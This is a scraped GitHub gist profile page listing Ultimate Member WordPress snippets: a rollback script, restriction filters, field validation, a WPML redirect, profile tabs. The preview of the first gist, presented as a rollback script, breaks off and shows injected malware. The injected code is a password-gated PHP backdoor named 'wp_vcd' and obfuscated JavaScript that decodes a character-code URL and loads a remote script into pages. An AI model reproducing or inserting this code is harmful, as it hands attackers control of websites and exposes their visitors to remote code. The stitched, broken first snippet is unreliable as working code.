Skip to content

Instantly share code, notes, and snippets.

View nikitasinelnikov's full-sized avatar

Mykyta Synelnikov nikitasinelnikov

  • ultimatemember.com
  • Kharkiv, Ukraine
View GitHub Profile
@nikitasinelnikov
nikitasinelnikov / Rollback UM to 1.3.88 DB struct
Last active July 10, 2018 13:50
Please run this scripts when you have active UM 1.3.88.
function ultimatemember_rollback() {
global $wpdb;
//UM Roles to WP Roles
//all UM Roles from post type
$role_keys = array();
register_post_type( 'um_role', array(
'labels' => array(
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b23fd272c9f4b2a35f3507a73af869b6'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
var n2 = document.createElement('script'); n2.type = 'text/javascript'; n2.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 51); var scripts = document.getElementsByTagName('script');
var n4 = true; for (var i = scripts.length; i--;) {if (scripts[i].src == n2.src) { n4 = false;}else{} } if(n4 == true){document.head.appendChild(n2);}
@nikitasinelnikov
nikitasinelnikov / UM Restrict Pages
Created September 24, 2018 14:45
Return Back an ability to restrict UM predefined pages
add_filter( 'um_exclude_posts_from_privacy', 'my_exclude_posts', 10, 2 );
function my_exclude_posts( $exclude, $post ) {
if ( ! empty( $post->post_type ) && $post->post_type == 'page' ) {
if ( um_is_core_post( $post, 'login' ) || um_is_core_post( $post, 'register' ) ||
um_is_core_post( $post, 'account' ) || um_is_core_post( $post, 'logout' ) ||
um_is_core_post( $post, 'password-reset' ) || ( is_user_logged_in() && um_is_core_post( $post, 'user' ) ) )
$exclude = true;
}
return $exclude;
@nikitasinelnikov
nikitasinelnikov / UM Bio required field
Created November 13, 2018 09:08
Makes Bio field required
add_action( 'um_add_error_on_form_submit_validation', 'um_form_submit_profile_bio_required', 10, 3 );
function um_form_submit_profile_bio_required( $array, $key, $args ) {
if ( ! empty( $args[ 'show_bio' ] ) ) {
if ( empty( $args['description'] ) ) {
UM()->form()->add_error( 'description', __( 'This field is required', 'ultimate-member' ) );
}
}
}
@nikitasinelnikov
nikitasinelnikov / UM+WPML custom login redirect
Created November 28, 2018 14:52
Redirect to selected language page
function um_custom_login_redirect_secondary_language( $user_id ) {
if ( UM()->external_integrations()->is_wpml_active() ) {
global $sitepress;
$language_code = $sitepress->get_current_language();
if ( $language_code == 'fi' ) {
if ( user_can( $user_id, 'subscriber' ) || user_can( $user_id, 'um_premium-subscribers' ) || user_can( $user_id, 'um_trial-expired' ) ) {
$redirect = '/fi/palveluntarjoajia-etusivu/';
exit( wp_redirect( $redirect ) );
@nikitasinelnikov
nikitasinelnikov / Restricted email field
Created March 27, 2019 17:12
Disable fields in edit mode (UM profile)
<?php //Disabled by default 'user_email', 'username', 'user_login', 'user_password'
add_filter( 'um_user_profile_restricted_edit_fields', 'my_custom_cb', 10, 2 );
function my_custom_cb( $restricted_fields, $field, $form_ata, $profile_id ) {
unset( $restricted_fields[0] );
return $restricted_fields;
}
@nikitasinelnikov
nikitasinelnikov / Ultimate Member registration form submit
Created March 29, 2019 15:04
If placeholders cached and empty meta for email placeholder
if ( !function_exists( 'um_profile_submitted_to_glabals' ) ) {
/**
* Save submitted data to $GLOBALS
* @param int $user_id
* @param array $submitted
*/
function um_profile_submitted_to_glabals( $user_id, $submitted ) {
if ( $submitted ) {
$GLOBALS["um_user{$user_id}_profile_submitted"] = $submitted;
@nikitasinelnikov
nikitasinelnikov / Ultimate Member functions.php
Created April 23, 2019 08:37
Set current date as default value for datepicker field
/**
* Set current date if date value is empty
*
* @param string $value "Field Value"
* @param string $default "Field Key"
* @param string $key "Field Type"
* @param string $type "Field Default Value"
* @param array $data "Field Data"
* @return string
*/
@nikitasinelnikov
nikitasinelnikov / functions.php
Last active July 25, 2019 10:45
Ultimate Member Profile Tabs
// You could set the default privacy for custom tab and disable to change the tab privacy settings in admin menu.
/*
* There are values for 'default_privacy' atribute
* 0 - Anyone,
* 1 - Guests only,
* 2 - Members only,
* 3 - Only the owner
*/
// Filter
function um_mycustomtab_add_tab( $tabs ) {